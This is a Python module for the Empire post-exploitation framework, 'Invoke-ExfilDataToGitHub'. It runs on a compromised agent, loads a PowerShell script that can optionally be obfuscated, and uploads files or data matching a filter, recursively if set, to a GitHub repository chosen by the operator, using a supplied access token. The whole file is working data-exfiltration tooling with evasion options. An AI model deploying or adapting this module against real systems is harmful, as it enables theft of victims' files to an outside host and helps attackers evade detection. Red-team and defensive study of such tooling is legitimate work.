from __future__ import print_function

from builtins import object, str

from empire.server.common import helpers
from empire.server.utils import data_util
from empire.server.utils.module_util import handle_error_message


class Module(object):
    def __init__(self, mainMenu, params=[]):

        # metadata info about the module, not modified during runtime
        self.info = {
            # name for the module that will appear in module menus
            "Name": "Invoke-ExfilDataToGitHub",
            # list of one or more authors for the module
            "Author": ["Nga Hoang"],
            # more verbose multi-line description of the module
            "Description": (
                "Use this module to exfil files and data to GitHub. "
                "Requires the pre-generation of a GitHub Personal Access Token."
            ),
            "Software": "",
            "Techniques": [""],
            # True if the module needs to run in the background
            "Background": False,
            # File extension to save the file as
            "OutputExtension": None,
            # True if the module needs admin rights to run
            "NeedsAdmin": False,
            # True if the method doesn't touch disk/is reasonably opsec safe
            # Disabled - this can be a relatively noisy module but sometimes useful
            "OpsecSafe": True,
            "Language": "powershell",
            # The minimum PowerShell version needed for the module to run
            "MinLanguageVersion": "3",
            # list of any references/other comments
            "Comments": ["https://github.com/nnh100/exfil"],
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            "Agent": {
                # The 'Agent' option is the only one that MUST be in a module
                "Description": "Agent to run module on",
                "Required": True,
                "Value": "",
            },
            "GHUser": {"Description": "GitHub Username", "Required": True, "Value": ""},
            "GHRepo": {
                "Description": "GitHub Repository",
                "Required": True,
                "Value": "",
            },
            "GHPAT": {
                "Description": "GitHub Personal Access Token base64 encoded",
                "Required": True,
                "Value": "",
            },
            "GHFilePath": {
                "Description": "GitHub filepath not including the filename so eg. testfolder/",
                "Required": True,
                "Value": "",
            },
            "LocalFilePath": {
                "Description": "Local file path of files to upload ",
                "Required": False,
                "Value": "",
            },
            "GHFileName": {
                "Description": "GitHub filename eg. testfile.txt",
                "Required": False,
                "Value": "",
            },
            "Filter": {
                "Description": "Local file filter eg. *.* to get all files or *.pdf for all pdfs",
                "Required": False,
                "Value": "",
            },
            "Data": {
                "Description": "Data to write to file",
                "Required": False,
                "Value": "",
            },
            "Recurse": {
                "Description": "Recursively get files in subfolders eg. set True or leave blank (do not use for Data exfil) ",
                "Required": False,
                "Value": "",
            },
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        # During instantiation, any settable option parameters
        #   are passed as an object set to the module and the
        #   options dictionary is automatically set. This is mostly
        #   in case options are passed on the command line
        if params:
            for param in params:
                # parameter format is [Name, Value]
                option, value = param
                if option in self.options:
                    self.options[option]["Value"] = value

    def generate(self, obfuscate=False, obfuscationCommand=""):
        # if you're reading in a large, external script that might be updates,
        #   use the pattern below
        # read in the common module source code
        moduleSource = (
            self.mainMenu.installPath
            + "/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1"
        )
        if obfuscate:
            data_util.obfuscate_module(
                moduleSource=moduleSource, obfuscationCommand=obfuscationCommand
            )
            moduleSource = moduleSource.replace(
                "module_source", "obfuscated_module_source"
            )
        try:
            f = open(moduleSource, "r")
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " + str(moduleSource)
            )

        moduleCode = f.read()
        f.close()

        script = moduleCode

        # Need to actually run the module that has been loaded
        scriptEnd = "Invoke-ExfilDataToGitHub"

        # add any arguments to the end execution of the script
        for option, values in self.options.items():
            if option.lower() != "agent":
                if values["Value"] and values["Value"] != "":
                    if values["Value"].lower() == "true":
                        # if we're just adding a switch
                        scriptEnd += " -" + str(option)
                    else:
                        scriptEnd += (
                            " -" + str(option) + ' "' + str(values["Value"]) + '"'
                        )
        if obfuscate:
            scriptEnd = helpers.obfuscate(
                psScript=scriptEnd,
                installPath=self.mainMenu.installPath,
                obfuscationCommand=obfuscationCommand,
            )
        script += scriptEnd

        # Get the random function name generated at install and patch the stager with the proper function name
        script = data_util.keyword_obfuscation(script)

        return script
